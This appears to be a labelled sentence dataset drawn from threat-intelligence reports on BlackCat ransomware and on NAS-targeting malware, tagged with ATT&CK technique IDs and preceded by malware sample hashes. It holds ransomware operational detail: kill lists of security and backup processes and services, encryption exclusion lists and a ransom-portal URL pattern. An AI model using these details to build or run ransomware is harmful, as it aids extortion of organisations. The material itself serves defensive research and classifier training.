83aa33a24f0751cae8342045071638739981304b37fc036da342f15ccebaf482c69fd2882bcda2ae6b24235babcc570f31774a45698edbaaea70e1b9d9fd315e58fba0f609b5363b1fbb792e0b2def924b770b2f57329f383cf691ef5988055e1a31f5a7bc1c5782ab9e7a401a2a474ee75e571adfa1f7685c13258653e8af7d2dc6785721bc9369090ce77d47b6b85eb4c9fba88d4c29675b5c98195c653f3c89d3acf2cfd33516f0aaaf901226c1c8936c33ded480115cbb56b4d11fc0d4053f3f0c883ada23e33685a015dbd59a08668fa80bf3248b4fbc3b00dac1fb430566b5d71b2ae6f7569b050130ccb548785925d4ff14ccfd5fa9738e8b444cbd97d2fc2159debd0a2222673cdc028c5f88ca5cc6c72f5665d60c5d27806757cff28e113203dd97f0f33562db9086b0eadeb5ea1242738abd80ae872ac3552a259958b3a4ec25d09191c9f5cb064a4ac4ea35a51cf1dd5e26e5d5bc63662c49c2ce3fdd54336ae1400d16fd36013844953d8cbfa2982516f3d40ed2a18f58f826092b7425ae37127535adf331bdba2e4b126dc7a67890f2974fa95624b06b3ff248a49d63a099d6499875e6b46268054b63d582303c7eac93a65ff00537ab22f487d69e8d0678be5a8da741058f0ae2a6f99ffb8e3326ac50fda54336b23a546fc6e51597f0749cbb7b8b53795383f891158ab7a5af350d803f8bba787ba1d3af87240e6edb33f1d5578084bd8422792770d3bafea1581b58e45eb6f89a889f41bddd5f6a8a3f255be6e5b8c7402be7059298bcfea15931752e10ea0be59ad080633b0cf91645b6ac772fc518bd5d145db4e7750af4e8239cc46734350ddf4595bd85c2e909efb713bdb2fb402dd380ada3bcc5ff92776ab95cafaeda7e47ea6dc494f8745d09bc73fa393b77c944bb7230fc68235fd5049c32c31612eb31747224fe828cf68e77f09d903d17e4318e585ca5753b5cc1a8e7fdb081244ee6e2946436cba5140248916ece6706fee52c892e7284b8c1dde007b273cf8adf1e2565ae979a0dd895e91925b1664d6e475f5046c1b0243a9999b6d15c96480437ddf93165a1fe7f19a41fbf7ac6196d5e54900558c948603a86de7e49201295562937237c34b54d3dd6d4b36587667cb52201ca8412ec23e0a6d062cceddb703104d0c9ca00f9b232a297b1896a96c01b4835cafa0b050d62b6b891b74d6c799e6e6d263f6c89a650f439f01b2435425946f5b5eab475da42ee04088fd552bc59644613fd274f7faace98d5660ea1a13dd74cade60626bf10cc5e4a66c0c76d8e018ad8496e1715c87a07b92d9214810bcd3fc6880b88b93246e94ad9421f34340766606ff84a220c1f0d6c078de2bc9961dcda11ea21eabebc86576798f5d1a0548e113d59fa24db23fb548796b2632a3c94ea6be2c2a64236b470bcbcb5bfc6e1d9158a217e632ef9f099bae955699c9eb497c6227a642486f64c903a336fdd0f3ac503b9c509e7ff704be0431c541a3571360b52edac361b3d9ce627b4e93c53be17bbe8ee94ed612d25d1378980dbe529ad018f1a2ed0521c0621f81ae54bc2d516c885a22bdd7d046c4a616e639cc91dc94cabb972108bdc2d9540fcbe393241d11ef9df7881ad13c6865aa6161390df6580eb648c3c05a35db706c7b5d7a238f56009bf01b6ede3fd35ef88aee476c1cb77ed32c54fd467b2d6173b59af8510c2d90f581c543cba58332c5c67e2a464387142e72bb9d6960bcc9dd52ef2a948f4db9b014740b96a6b7e277cf456a19260533dadf8b36652d05e374b098c93f63cdf7f07f9b0c6ff27b0011f3a6daa5ca4b73f554b6a1ed319dce05919c3c4e18cdc5ffac866a06926359e00872ce7cc7b85d2ddf09abdc3371ac101be4e7ed46e98110cbc2802dc27b9d9fe5ba5ceeece06cf3ed93974dfeb1ce26f2b5c43e23c75837a43d3df5f8ec3117279edcfc255c69be9aaf2eed9d0d3cc98bf3b06ae01ae0cd5b88a754affa47410a0fa9d9b38582c21b8e06c32273206fa15551efdb3beb4c0c6486545826c2ec5fa5ba44d02abeb20558e55f47c51366523cacdde2750f424ee3a86842df558da44cc247fd7bd4d1d7bf5439b8732883aa840a9fceb0bf886695f19c711bd63d145518301270e247830259eb29c83bd0ee135f53ee7aa2e234a48e1f19d8dfd1885aa7ea0c73b1d22faee0f3b208dc65762e6ba374d49caac5d027dadb4db266ac999842ed7ea10b245750f8b31af738b4bfdcc5ade464f8fc360e64cdf07c837d5911f93b60cb99ee0ff531ffb0422652c7d6124d60ef94ff905ef764a4aab4cc90d657dd681b434e13df35c01c6473ee3813dd34e64b451280c906afb57198e787eaa18780abd3932bc7cf3742a5e58ccb1ccf204 lockbit 778eb09cac51aa75b6e3c32e78adfe0e9292af40d0f800fb3ae569198945a9ef5b9e6d9275e9523aa3945be891745442a07b936ee5236e23934250ba3844f65f17c6f4e45d44bd4c06212139f521976b87ed5a6ddcd0e4e5e978e64dabb3883f237bc833db8c72cedf0a09bd642567aa31cc74dd6bcfe5b67871f375d617ec85446736e381fa8942f8d32cb4f2ae8fb6a9245fa0e70b7f7298ee7a5cb6fe9f32668434940877f747a5d3adc745548bcfdcc881418f02e705204df2ad54a311cb74b4d14d2d1af6642d5867eb89c277aa02f5e4ac667d87b5aca380f40eabe1bfc920b2de025019e9a406e9b2f0ac2cbbfc18d65eac15f59ca8921c5fb4bfa240d25116f1fe5c9a22fcf73c4c7358f93f1ad445bb9a602d18ff69f8fa29d0be0fe80579baf175626787070bf61f75b4b810eb9d9bdb653972ad40797ee5ff82cc1ee311c3f24397de3f6671b67a263206e78f8040f5ac2fc0182d0ee171c532284b3a396f8230fc87b7fc47aa1d7ed19c78867f3dd43fd570ea93748390be58d5 ursnif 04595c3111276f02b6dc2ece0778cb5829c086484aeafa24e0aac3d8479deb4be2c83783d6ab57ac91d99bfb9d607d0b5537e305661406bbf2347c3af92d3464676a540a91b9ffb4a18af0f4355561f3579ee4cbbf0740a80e482af92e8cdc07716ce7fe411f352686b4071074aa96e1456ab7a67445b3cf1c475e18a4e5ac25ceba6a7f9a2c25a35090470c6209aefed808786c47194a18415a7898390c20cbe203345d8120bd6d29e667bbceb92083ebb55e36b21cd22d669aa2f91830a656 smokeloader 79ae89733257378139cf3bdce3a30802818ca1a12bb2343e0b9d0f51f8af1f101ae5c809ea8fabce9c699c87416d73ba5ab619accef6deeb26c2c38f39323181ee8f0ff6b0ee6072a30d45c135228108d4c032807810006ec77f2bf72856e04a fickerstealer bd8d1264a88d5cdd701a4ee909b70beaec39d216c988b33bfb30f25aee3540ee1f53d6f4fb02c8663b9d377570953d07c56df297674b7c3847d1697f0e5f8165cf88923b7d0287884870af999a8d64f90c7deeb4c4d09feed406472ff259b30d Metasploit Reverse HTTP b8990f204ca595e23562aa8063fd163651771626ba4acf45890f25315616fc1e quasarrat e8a8581cd3594a3937762f90d20ab889e7868bb88e9249f96222bd48643d7dea", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary BlackCat (aka ALPHV) is a ransomware family that surfaced in mid-November 2021 and quickly gained notoriety for its sophistication and innovation.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Operating a ransomware-as-a-service (RaaS) business model, BlackCat was observed soliciting for affiliates in known cybercrime forums, offering to allow affiliates to leverage the ransomware and keep 80-90% of the ransom payment.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The remainder would be paid to the BlackCat author.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat has taken an aggressive approach to naming and shaming victims, listing more than a dozen on their leak site in a little over a month.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The largest number of the group’s victims so far are U.S. organizations, but BlackCat and its affiliates have also attacked organizations in Europe, the Philippines and other locations.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Victims include organizations in the following sectors: construction and engineering, retail, transportation, commercial services, insurance, machinery, professional services, telecommunication, auto components and pharmaceuticals.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Use of BlackCat ransomware has grown quickly for a variety of reasons (for comparison, AvosLocker had only listed a handful of victims publicly within two months of becoming known).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Effective marketing to affiliates is a likely factor – in addition to offering an enticing share of ransom payments, the group has solicited affiliates by posting ads on forums such as Ransomware Anonymous Market Place (RAMP).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The malware itself is written in Russian and coded in the Rust programming language.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Though this is not the first piece of malware to use Rust, it is one of the first, if not the first, piece of ransomware to use it.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "By leveraging this programming language, the malware authors are able to easily compile it against various operating system architectures.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Given its numerous native options, Rust is highly customizable, which facilitates the ability to pivot and individualize attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The threat actors leveraging BlackCat, often referred to as the \"BlackCat gang,” utilize numerous tactics that are becoming increasingly commonplace in the ransomware space.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Notably, they use multiple extortion techniques in some cases, including the siphoning of victim data before ransomware deployment, threats to release data if the ransom is not paid and distributed denial-of-service (DDoS) attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Palo Alto Networks detects and prevents BlackCat ransomware with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Due to the surge of this malicious activity, we’ve created this threat assessment for overall awareness.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Full visualization of the techniques observed, relevant courses of action and IOCs can be viewed in the Unit 42 ATOM viewer.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Table of Contents BlackCat Ransomware OverviewTechnical Details • BlackCat Config • Associated ToolsPost-compromise ActivitiesCourses of ActionConclusionAdditional ResourcesAcknowledgments BlackCat Ransomware Overview Soliciting via known cybercrime forums, BlackCat is seeking affiliates to deploy its ransomware.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Affiliates keep an 80-90% share of the ransom payment, with the remainder going to the BlackCat author.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "These affiliates are interviewed and vetted before being accepted into the RaaS group.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Once the affiliate is confirmed, they are given unique access to a Tor-based control panel that hosts the affiliate’s access.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Written in the Russian language, the control panel gives the affiliate updates and announcements about deploying and operating the ransomware as well as troubleshooting tips to help the affiliate be more successful in their campaigns.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Along with the control panel, a name and shame blog is also hosted, targeting victims who have either ignored or refused to pay the ransom.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "This site has been regularly updated with new victims since the initial discovery of the group.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As shown in Figure 1 below, many RaaS operators use the double-extortion technique of exfiltrating data prior to encryption, which provides them greater leverage in negotiating ransom funds.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As of December 2021, BlackCat has the seventh largest number of victims listed on their leak site among ransomware groups tracked by Unit 42 – impressive considering that this group has only been publicly known since November 2021.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "While Conti (ranked second) has been around in various guises for almost two years, it is surrounded at the top of the chart by emerging families.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "LockBit 2.0 and Hive both have at least six months’ head start on BlackCat, but this highlights a worrying trend that newcomers (or reformed groups) can attack many victims in a short space of time. Figure 1.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Leak site/name and shame blog statistics, December 2021.Using the leak site information, we can understand the location and types of victims affected by BlackCat attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Figure 2 breaks down the victims by country.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "However, the so-far sporadic spread of the attacks may indicate a somewhat opportunistic approach, as with most contemporary ransomware families.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat leak site victims by country.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Technical Details BlackCat is positioned to pivot to individualized, customized attacks due to the numerous options available when coding in Rust (Figure 3).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Rust programming has gained momentum due to its fast and high performance, powerful web application development, low overhead for embedded programming, and memory management resolution.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Rust also facilitates the BlackCat author due to its efficiency regarding algorithms that power the encryption capability of the ransomware.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Because of its efficiency and adaptability, BlackCat has been seen targeting both Windows and Linux systems.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat execution options.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "In an effort to maintain longevity, the use of the --access-token flag is required to execute the ransomware, which can make it harder to analyze in sandboxed environments.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat Config While analyzing the ransomware configurations, we observed numerous evasion tactics deployed.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "These evasion techniques are used in an effort to impair or disable system defenses as well as to stop certain applications that may lock files open on disk, causing problems when trying to encrypt them.", "labels": ["T1562.001"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat attempts to kill several processes and services to hinder or prevent security solutions and backups.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The process list checked is as follows: agntsvc, dbeng50, dbsnmp, encsvc, excel, firefox, infopath, isqlplussvc, msaccess, mspub, mydesktopqos, mydesktopservice, notepad, ocautoupds, ocomm, ocssd, onenote, oracle, outlook, powerpnt, sqbcoreservice, sql, steam, synctime, tbirdconfig, thebat, thunderbird, visio, winword, wordpad, xfssvccon, *sql*, bedbh, vxmon, benetns, bengien, pvlsvr, beserver, raw_agent_svc, vsnapvss, CagService, QBIDPService, QBDBMgrN, QBCFMonitorService, SAP, TeamViewer_Service, TeamViewer, tv_w32, tv_x64, CVMountd, cvd, cvfwd, CVODS, saphostexec, saposcol, sapstartsrv, avagent, avscc, DellSystemDetect, EnterpriseClient, VeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc", "labels": ["T1057"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The services running on the compromised system are checked against the following list: mepocs, memtas, veeam, svc$, backup, sql, vss, msexchange, sql$, mysql, mysql$, sophos, MSExchange, MSExchange$, WSBExchange, PDVFSService, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, GxBlr, GxVss, GxClMgrS, GxCVD, GxCIMgr, GXMMM, GxVssHWProv, GxFWD, SAPService, SAP, SAP$, SAPD$, SAPHostControl, SAPHostExec, QBCFMonitorService, QBDBMgrN, QBIDPService, AcronisAgent, VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc, MVArmor, MVarmor64, VSNAPVSS, AcrSch2Svc In an effort to maintain persistence, the BlackCat ransomware excludes key system and application folders – as well as key components – from encryption so as not to render the system and ransomware inoperative.", "labels": ["T1057"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The folders excluded are as follows: system volume information, intel, $windows.~ws, application data, $recycle.bin, mozilla, $windows.~bt, public, msocache, windows, default, all users, tor browser, programdata, boot, config.msi, google, perflogs, appdata, windows.old Excluded file names are as follows: desktop.ini, autorun.inf, ntldr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin, ntuser.ini, ntuser.dat.log Any file with an extension matching the following list will also be avoided: themepack, nls, diagpkg, msi, lnk, exe, cab, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, diagcab, diagcfg, pdb, wpx, hlp, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com, deskthemepack, shs, ldf, theme, mpa, nomedia, spl, cpl, adv, icl, msu Hardcoded credentials stored within the BlackCat ransomware config lend credence to the likelihood that specific victims are being targeted.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The credentials also allow BlackCat to move laterally within the victim’s system and/or network, often with administrative privileges.", "labels": ["T1078"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Credential access permits the ransomware to deploy additional tools that further propagate the attack.", "labels": ["T1105"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "These observations have also been confirmed by Symantec.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Associated Tools BlackCat has been observed using multiple – often legitimate – tools throughout their attacks, such as Mimikatz, LaZagne and WebBrowserPassView to recover stored passwords, as well as GO Simple Tunnel (GOST) and MEGAsync to exfiltrate data.", "labels": ["T1003.001"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Additionally, anti-forensics tools like fileshredder, an application to securely delete unwanted files beyond recovery, have also been leveraged during some BlackCat ransomware attacks investigated by Unit 42.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Post-compromise Activities Once candidate systems have been identified for encryption by the threat actors, the ransomware deployment occurs and all viable files will be encrypted.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "This process often involves renaming files to include another or a different file extension, such as wpzlbji, in the example shown in Figure 4.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As is commonplace with other ransomware strains, BlackCat ransomware will drop ransom notes on the compromised system(s) to inform the victim of what has happened and how to go about getting their data restored.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Text files with the name RECOVER-[RANDOM]-FILES.txt (where [RANDOM] refers to the aforementioned file extension name) will be found on the compromised system containing information and instructions such as those in the example below: Figure 4.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "An example of a BlackCat ransom note dropped on a compromised system.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat utilizes a unique onion domain with a victim-specific access key for the victim to use to learn more about the attack, their data, and what the threat actors want the victim to do next.", "labels": ["T1090"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The following example URL highlights the notation used by BlackCat ransomware: http://2cuqgeerjdba2rhdiviezodpu3lc4qz2sjf4qin6f7std2evleqlzjid[.]onion/?access-key=${ACCESS_KEY}\",\"note_short_text\":\"Important Once the victim navigates to the onion site provided, they will see something similar to Figure 5 below.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "This site reiterates the problem and that the actor's Decrypt App private key is the only way to get their data back.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The portal also provides chat facilities, the ransom amounts – which can differ depending on when the payment is sent – how to pay, and a way to test that the decryption works.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Example onion site information for BlackCat victims.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Unit 42 has observed BlackCat affiliates asking for ransom amounts of up to $14 million, though they offered to discount this demand to $9 million if paid before the established time.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Interestingly, the ransom demand gives the victim the option to pay not only in Bitcoin (the most common option) but also in Monero.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "In some cases, BlackCat operators use the chat to threaten the victim, claiming they will perform a DDoS attack on the victims' infrastructure if the ransom is not paid.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "When it appears in addition to the use of a leak site, this practice is known as triple extortion, a tactic that was observed being used by groups like Avaddon and Suncrypt in the past.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "One unique feature of BlackCat ransomware is that negotiation chats can only be accessed by those holding an access token key or ransom note – the group has made efforts to avoid third-party snooping.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Courses of Action This section documents the relevant tactics, techniques and procedures (TTPs) used by BlackCat ransomware and operators, mapping them directly to the Palo Alto Networks product(s) and service(s) protecting against them.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "It also further instructs customers on how to ensure their devices are appropriately configured.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Product / Service Course of Action Discovery", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Process Discovery [T1057], File and Directory Discovery [T1083] CORTEX XDR PREVENT Configure Behavioral Threat Protection under the Malware Security Profile Lateral Movement", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Lateral Tool Transfer [T1570] THREAT PREVENTION† Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories and threats Ensure a secure antivirus profile is applied to all relevant security policies Command and Control", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Multi-hop", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Proxy [T1090.003] THREAT PREVENTION† Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories and threats Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure a secure antivirus profile is applied to all relevant security policies ADVANCED URL FILTERING†", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Ensure that URL Filtering uses the action of “block” or “override” on the URL categories Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Ensure that Advanced URL Filtering is used Ensure that access to every URL is logged Ensure all HTTP Header Logging options are enabled CORTEX XSOAR Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Deploy XSOAR Playbook - Palo Alto Networks - Hunting And Threat Detection NEXT-GENERATION FIREWALLS Ensure 'SSL Forward Proxy Policy' for traffic destined to the internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists Ensure that the Certificate used for Decryption is Trusted Exfiltration", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Exfiltration to Cloud Storage", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "[T1567.002] URL FILTERING† Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet Ensure all HTTP Header Logging options are enabled Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged Ensure that Advanced URL Filtering is used Impact The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Deploy XSOAR Playbook - Palo Alto Networks Endpoint Malware Investigation Table 1.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Courses of Action for BlackCat ransomware.†These capabilities are part of the NGFW security subscriptions service Conclusion BlackCat is an innovative and sophisticated ransomware family that is rapidly forming a reputation for its highly customized and individualized attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "By leveraging the Rust programming language, the malware authors are able to easily compile it against various operating system architectures, which facilitates the group’s ability to pivot from one victim to the next.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As seen with other ransomware families, BlackCat operates with a RaaS model and utilizes multiple extortion techniques, then publishes a leak site to further pressure victims into paying the ransom.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Palo Alto Networks detects and prevents BlackCat ransomware in the following ways: WildFire: All known samples are identified as malware.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Cortex XDR with: Indicators for BlackCat.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Anti-Ransomware Module to detect BlackCat encryption behaviors on Windows.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Local Analysis detection for BlackCat binaries on Windows.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BTP rule prevents Ransomware activity on Linux.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "DNS Signatures detect the known command and control (C2) domains, which are also categorized as malware in URL Filtering. Indicators of compromise and BlackCat-associated TTPs can be found in the BlackCat ATOM.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance (CTA) members.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Additional Resources Acknowledgements We would like to thank Simon Conant for his help with sample collection, and malware and infrastructure analysis.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Get updates from Palo Alto Networks!", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Defending Users’ NAS Devices From Evolving Threats In our latest research, we analyze the threats targeting well-known brands of network-attached storage (NAS) devices.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "By: Stephen Hilt, Fernando Merces January 20, 2022Read time: ( words) Save to Folio Subscribe Threats to the internet of things (IoT) continue to evolve as users and businesses grow increasingly reliant on these tools for constant connectivity, access to information and data, and workflow continuity.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Cybercriminals have taken notice of this dependence and now regularly update their known tools and routines to include network-attached storage (NAS) devices to their list of targets, knowing full well that users rely on these devices for storing and backing up files in both modern homes and businesses.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "More importantly, cybercriminals are aware that these tools hold valuable information and have only minimal security measures.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "In our latest research paper, “Backing Your Backup: Defending NAS Devices Against Evolving Threats,” we studied the current infrastructure, environment, threats, and recommendations for defending systems against current threats targeting NAS devices.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "To emphasize the importance of mitigating the risks of malware infection and targeted attacks on NAS devices, we analyzed the technical details of two malware families that potentially included NAS devices in their existing business models, the REvil ransomware and StealthWorker botnets.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "REvil", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "While the disappearance of REvil (aka Sodinokibi) in mid-2021 is filled with uncertainty, security researchers have found a Linux version of the REvil ransomware that they have dubbed as Revix.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "After analyzing the samples, we found four different versions of the malware, all of which rely on an embedded JavaScript Observed Notation (JSON)-based configuration to set parameters before encrypting files.", "labels": ["T1027"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Revix’s JSON-based configuration While some parameters are ignored by the ransomware, these are most important ones that we observed: pk: A 64-byte key nbody: The ransomware note text-encoded in base64 nname: The ransomware note name ext: The extension added to encrypted files After compromising the system, the malicious actors execute it manually on a NAS device to encrypt files and create a ransom note with a unique key per victim.", "labels": ["T1027"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Revix encrypting a QNAP NAS device Figure 3.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Revix ransom note While the differences between the versions are minor, the group advertised the capability of encrypting NAS devices as early as May 2021 in underground forums.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Given the vulnerability of NAS devices that are directly connected to the internet, we can expect a new wave of ransomware attacks affecting these gadgets in the future.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "StealthWorker In 2021, security researchers found brute-force attacks launched from the StealthWorker botnet on Synology NAS devices.", "labels": ["T1110"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "We found multiple samples for this botnet and confirmed that newer versions are capable of brute-forcing and compromising servers running on several products and systems such as WooCommerce and WordPress.", "labels": ["T1110"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "This botnet is also designed to generally attack any web server using HTTP authentication and other NAS devices like QNAP.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
